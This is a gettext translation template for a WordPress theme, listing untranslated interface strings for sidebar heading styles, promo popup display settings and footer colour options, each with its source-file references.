#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:371
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:79
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:202
#: inc/js_composer/inc/vc-params-helper.php:139
#: inc/js_composer/inc/vc-params-helper.php:854
#: inc/js_composer/shortcodes/big_grid/settings.php:47
#: inc/js_composer/shortcodes/counter_up/settings.php:205
#: inc/js_composer/shortcodes/video_playlist/settings.php:101
#: inc/template-builder/single-elements/relatedpost.php:210
msgid "Style 8"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:64
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:19
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:245
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:472
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:84
#: inc/elementor/base/base-widget.php:217
#: inc/elementor/base/base-widget.php:348
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:325
#: inc/template-builder/single-elements/relatedpost.php:211
msgid "Style 9 - Custom Background Image"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:65
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:20
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:246
#: inc/customizer/config/sections/penci_section_spost_general_section.php:19
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:473
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:85
#: inc/elementor/base/base-widget.php:218
#: inc/elementor/base/base-widget.php:349
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:77
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:151
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:326
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:373
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:81
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:204
#: inc/js_composer/inc/vc-params-helper.php:141
#: inc/js_composer/inc/vc-params-helper.php:856
#: inc/js_composer/shortcodes/big_grid/settings.php:49
#: inc/js_composer/shortcodes/counter_up/settings.php:207
#: inc/js_composer/shortcodes/video_playlist/settings.php:104
#: inc/template-builder/single-elements/relatedpost.php:212
msgid "Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:66
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:21
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:247
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:474
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:86
#: inc/elementor/base/base-widget.php:219
#: inc/elementor/base/base-widget.php:350
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:78
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:152
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:327
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:374
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:82
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:205
#: inc/js_composer/inc/vc-params-helper.php:142
#: inc/js_composer/inc/vc-params-helper.php:857
#: inc/js_composer/shortcodes/big_grid/settings.php:50
#: inc/js_composer/shortcodes/counter_up/settings.php:208
#: inc/js_composer/shortcodes/video_playlist/settings.php:105
#: inc/template-builder/single-elements/relatedpost.php:213
msgid "Style 11"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:67
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:22
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:248
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:475
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:87
#: inc/elementor/base/base-widget.php:220
#: inc/elementor/base/base-widget.php:351
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:79
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:153
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:328
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:375
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:83
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:206
#: inc/js_composer/inc/vc-params-helper.php:143
#: inc/js_composer/inc/vc-params-helper.php:858
#: inc/js_composer/shortcodes/big_grid/settings.php:51
#: inc/js_composer/shortcodes/counter_up/settings.php:209
#: inc/js_composer/shortcodes/video_playlist/settings.php:106
#: inc/template-builder/single-elements/relatedpost.php:214
msgid "Style 12"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:68
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:23
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:249
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:476
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:88
#: inc/elementor/base/base-widget.php:221
#: inc/elementor/base/base-widget.php:352
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:80
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:154
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:329
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:376
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:84
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:207
#: inc/js_composer/inc/vc-params-helper.php:144
#: inc/js_composer/inc/vc-params-helper.php:859
#: inc/js_composer/shortcodes/big_grid/settings.php:52
#: inc/js_composer/shortcodes/counter_up/settings.php:210
#: inc/js_composer/shortcodes/video_playlist/settings.php:107
#: inc/template-builder/single-elements/relatedpost.php:215
msgid "Style 13"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:69
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:24
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:250
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:477
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:89
#: inc/elementor/base/base-widget.php:222
#: inc/elementor/base/base-widget.php:353
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:81
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:155
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:330
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:377
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:85
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:208
#: inc/js_composer/inc/vc-params-helper.php:145
#: inc/js_composer/inc/vc-params-helper.php:860
#: inc/js_composer/shortcodes/big_grid/settings.php:53
#: inc/js_composer/shortcodes/counter_up/settings.php:211
#: inc/js_composer/shortcodes/video_playlist/settings.php:108
#: inc/template-builder/single-elements/relatedpost.php:216
msgid "Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:70
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:25
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:251
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:478
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:90
#: inc/elementor/base/base-widget.php:223
#: inc/elementor/base/base-widget.php:354
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:82
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:156
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:331
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:378
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:86
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:209
#: inc/js_composer/inc/vc-params-helper.php:146
#: inc/js_composer/inc/vc-params-helper.php:861
#: inc/js_composer/shortcodes/big_grid/settings.php:54
#: inc/js_composer/shortcodes/counter_up/settings.php:212
#: inc/js_composer/shortcodes/video_playlist/settings.php:109
#: inc/template-builder/single-elements/relatedpost.php:217
msgid "Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:71
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:26
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:252
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:479
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:91
#: inc/elementor/base/base-widget.php:224
#: inc/elementor/base/base-widget.php:355
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:83
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:157
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:332
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:379
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:87
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:210
#: inc/js_composer/inc/vc-params-helper.php:147
#: inc/js_composer/inc/vc-params-helper.php:862
#: inc/js_composer/shortcodes/big_grid/settings.php:55
#: inc/js_composer/shortcodes/counter_up/settings.php:213
#: inc/js_composer/shortcodes/video_playlist/settings.php:110
#: inc/template-builder/single-elements/relatedpost.php:218
msgid "Style 16"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:72
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:27
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:253
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:480
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:92
#: inc/elementor/base/base-widget.php:225
#: inc/elementor/base/base-widget.php:356
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:84
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:158
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:333
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:380
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:88
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:211
#: inc/js_composer/inc/vc-params-helper.php:148
#: inc/js_composer/inc/vc-params-helper.php:863
#: inc/js_composer/shortcodes/big_grid/settings.php:56
#: inc/js_composer/shortcodes/counter_up/settings.php:214
#: inc/js_composer/shortcodes/video_playlist/settings.php:111
#: inc/template-builder/single-elements/relatedpost.php:219
msgid "Style 17"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:73
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:28
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:254
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:481
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:93
#: inc/elementor/base/base-widget.php:226
#: inc/elementor/base/base-widget.php:357
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:85
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:159
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:334
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:381
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:89
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:212
#: inc/js_composer/inc/vc-params-helper.php:149
#: inc/js_composer/inc/vc-params-helper.php:864
#: inc/js_composer/shortcodes/big_grid/settings.php:57
#: inc/js_composer/shortcodes/counter_up/settings.php:215
#: inc/js_composer/shortcodes/video_playlist/settings.php:112
#: inc/template-builder/single-elements/relatedpost.php:220
msgid "Style 18"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:74
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:29
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:255
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:482
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:94
#: inc/elementor/base/base-widget.php:227
#: inc/elementor/base/base-widget.php:358
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:86
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:160
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:335
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:90
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:213
#: inc/js_composer/inc/vc-params-helper.php:150
#: inc/js_composer/inc/vc-params-helper.php:865
#: inc/js_composer/shortcodes/big_grid/settings.php:58
#: inc/js_composer/shortcodes/counter_up/settings.php:216
#: inc/js_composer/shortcodes/video_playlist/settings.php:113
#: inc/template-builder/single-elements/relatedpost.php:221
msgid "Style 19"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:75
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:30
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:256
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:483
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:95
#: inc/elementor/base/base-widget.php:228
#: inc/elementor/base/base-widget.php:359
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:87
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:161
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:336
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:91
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:214
#: inc/js_composer/inc/vc-params-helper.php:151
#: inc/js_composer/inc/vc-params-helper.php:866
#: inc/js_composer/shortcodes/big_grid/settings.php:59
#: inc/js_composer/shortcodes/counter_up/settings.php:217
#: inc/js_composer/shortcodes/video_playlist/settings.php:114
#: inc/template-builder/single-elements/relatedpost.php:222
msgid "Style 20"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:82
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:51
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:262
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:103
#: inc/js_composer/inc/vc-params-helper.php:767
msgid "Custom Background Image for Style 9"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:88
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:57
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:269
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:109
msgid "Background Image Repeat for Style 9"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:92
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:273
#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:29
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:185
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:112
#: inc/dashboard/lib/meta-box/inc/fields/background.php:91
#: inc/elementor/base/base-widget.php:716
#: inc/options/framework/fields/background/background.php:186
#: inc/template-builder/single-elements/relatedpost.php:625
msgid "No Repeat"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:93
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:274
#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:30
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:186
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:113
#: inc/elementor/base/base-widget.php:717 inc/meta-box/register/page.php:577
#: inc/options/framework/fields/background/background.php:185
#: inc/template-builder/single-elements/relatedpost.php:626
#: inc/woocommerce/modules/metaboxes.php:232
msgid "Repeat"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:99
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:280
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:120
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:97
msgid "Sidebar Widget Heading Align"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:112
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:99
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:292
#: inc/elementor/base/base-widget.php:286
#: inc/elementor/base/base-widget.php:384
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:427
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:111
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:274
#: inc/template-builder/single-elements/relatedpost.php:247
msgid "Align Icon on Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:116
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:128
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:10
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:103
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:115
msgid "Default( follow Sidebar )"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:124
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:111
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:303
#: inc/elementor/base/base-widget.php:297
#: inc/elementor/base/base-widget.php:395
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:440
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:125
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:285
#: inc/template-builder/single-elements/relatedpost.php:258
msgid "Custom Icon on Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:129
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:116
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:307
#: inc/elementor/base/base-widget.php:302
#: inc/elementor/base/base-widget.php:400
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:445
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:130
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:290
#: inc/template-builder/single-elements/relatedpost.php:263
msgid "Arrow Right"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:130
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:117
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:308
#: inc/elementor/base/base-widget.php:303
#: inc/elementor/base/base-widget.php:401
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:446
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:131
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:291
#: inc/template-builder/single-elements/relatedpost.php:264
msgid "Arrow Left"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:131
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:118
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:309
#: inc/elementor/base/base-widget.php:304
#: inc/elementor/base/base-widget.php:402
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:447
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:132
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:292
#: inc/template-builder/single-elements/relatedpost.php:265
msgid "Arrow Down"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:132
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:119
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:310
#: inc/elementor/base/base-widget.php:305
#: inc/elementor/base/base-widget.php:403
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:448
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:133
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:293
#: inc/template-builder/single-elements/relatedpost.php:266
msgid "Arrow Up"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:133
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:120
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:311
#: inc/elementor/base/base-widget.php:306
#: inc/elementor/base/base-widget.php:404
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:449
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:134
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:294
#: inc/template-builder/single-elements/relatedpost.php:267
msgid "Star"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:134
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:121
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:312
#: inc/elementor/base/base-widget.php:307
#: inc/elementor/base/base-widget.php:405
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:450
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:135
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:295
#: inc/template-builder/single-elements/relatedpost.php:268
msgid "Bars"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:135
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:122
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:313
#: inc/elementor/base/base-widget.php:308
#: inc/elementor/base/base-widget.php:406
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:451
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:136
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:296
#: inc/template-builder/single-elements/relatedpost.php:269
msgid "File"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:136
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:123
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:314
#: inc/elementor/base/base-widget.php:309
#: inc/elementor/base/base-widget.php:407
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:452
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:137
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:297
#: inc/template-builder/single-elements/relatedpost.php:270
msgid "Fire"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:137
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:124
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:315
#: inc/elementor/base/base-widget.php:310
#: inc/elementor/base/base-widget.php:408
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:453
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:138
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:298
#: inc/template-builder/single-elements/relatedpost.php:271
msgid "Book"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:143
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:321
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:133
msgid "Remove Border Outer on Widget Heading"
msgstr ""

#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:150
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:328
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:140
msgid "Remove Arrow Down on Widget Heading"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:7
msgid "Popup Event"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:10
msgid "Show on all pages, no using cookies"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:11
msgid "One Time - close forever when users close popup"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:12
msgid "Section"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:13
msgid "After Fixed Time"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:20
msgid "Load Popup Content Using Shortcode/HTML"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:27
msgid "Load Popup Content Using Penci Block"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:28
msgid ""
"You can add new or edit a Penci Block on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:48
msgid "Popup Delay"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:49
msgid ""
"Show popup after some time (in milliseconds). Apply for \"Some Time\" "
"Setting."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:56
msgid "Show After Fixed Time"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:57
msgid ""
"Set the number of days expire the popup cookie. Apply for \"After Fixed "
"Time\" Setting."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:64
msgid "Popup Version"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:65
msgid ""
"If you apply any changes to your popup settings or content you might want to "
"force the popup to all visitors who already closed it again. In this case, "
"you just need to increase the banner version."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:72
msgid "Show After Number of Pages Visited"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_display_section.php:73
msgid ""
"You can choose how many pages the user should visit before the popup will be "
"shown."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:7
msgid "Enable Promo Popup"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:8
msgid "Show promo popup to users when they enter the site."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:15
msgid "Display Conditions"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:36
#: inc/customizer/config/sections/penci_popup_section_general_section.php:103
msgid "Show Popup for "
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:47
msgid "Exclude Singular Post IDs"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:48
#: inc/customizer/config/sections/penci_popup_section_general_section.php:57
msgid ""
"You can check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://ostraining.com/blog/wordpress/how-to-find-the-page-id-in-"
"wordpress/\">this guide</a> to know how to find ID of a post or page. Fill "
"the list IDs you want to exclude here, separate by comma. E.g: 10, 20, 34"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:56
msgid "Include Singular Post IDs"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:64
msgid "Hidden Popup on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:71
msgid "Hidden Popup on Blog Page"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:77
msgid "Taxonomy Display Conditions"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:112
msgid "Other Display Conditions"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:119
msgid "Hide for Search Page"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:126
msgid "Hide for 404 Page"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:134
msgid "Hide for Mobile Devices"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_general_section.php:135
msgid "You can disable this option for mobile devices completely."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_styles_section.php:17
msgid "Set background image or color for promo popup"
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_styles_section.php:90
msgid "Set width of the promo popup in pixels."
msgstr ""

#: inc/customizer/config/sections/penci_popup_section_styles_section.php:134
msgid "Popup Close Button Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:4
msgid "Footer Section Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:11
msgid "Footer Section Background Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:23
msgid "Footer Widget Area Background"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:33
msgid "Footer Widget Area Border Top Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:38
msgid "Footer Widget Area Background Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:46
msgid "Footer Widget Area Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:53
msgid "Footer Widget Area Borders Color for List"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:60
msgid "Footer Widget Title Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:67
msgid "Footer Widget Title Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:73
msgid "Border Width of Footer Widget Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:94
msgid "Footer Widget Accent Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:101
msgid "Footer Widget Accent Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:114
msgid "Footer Instagram Border Top Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:121
msgid "Footer Instagram Title Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:126
msgid "Footer Social Icons"
msgstr ""

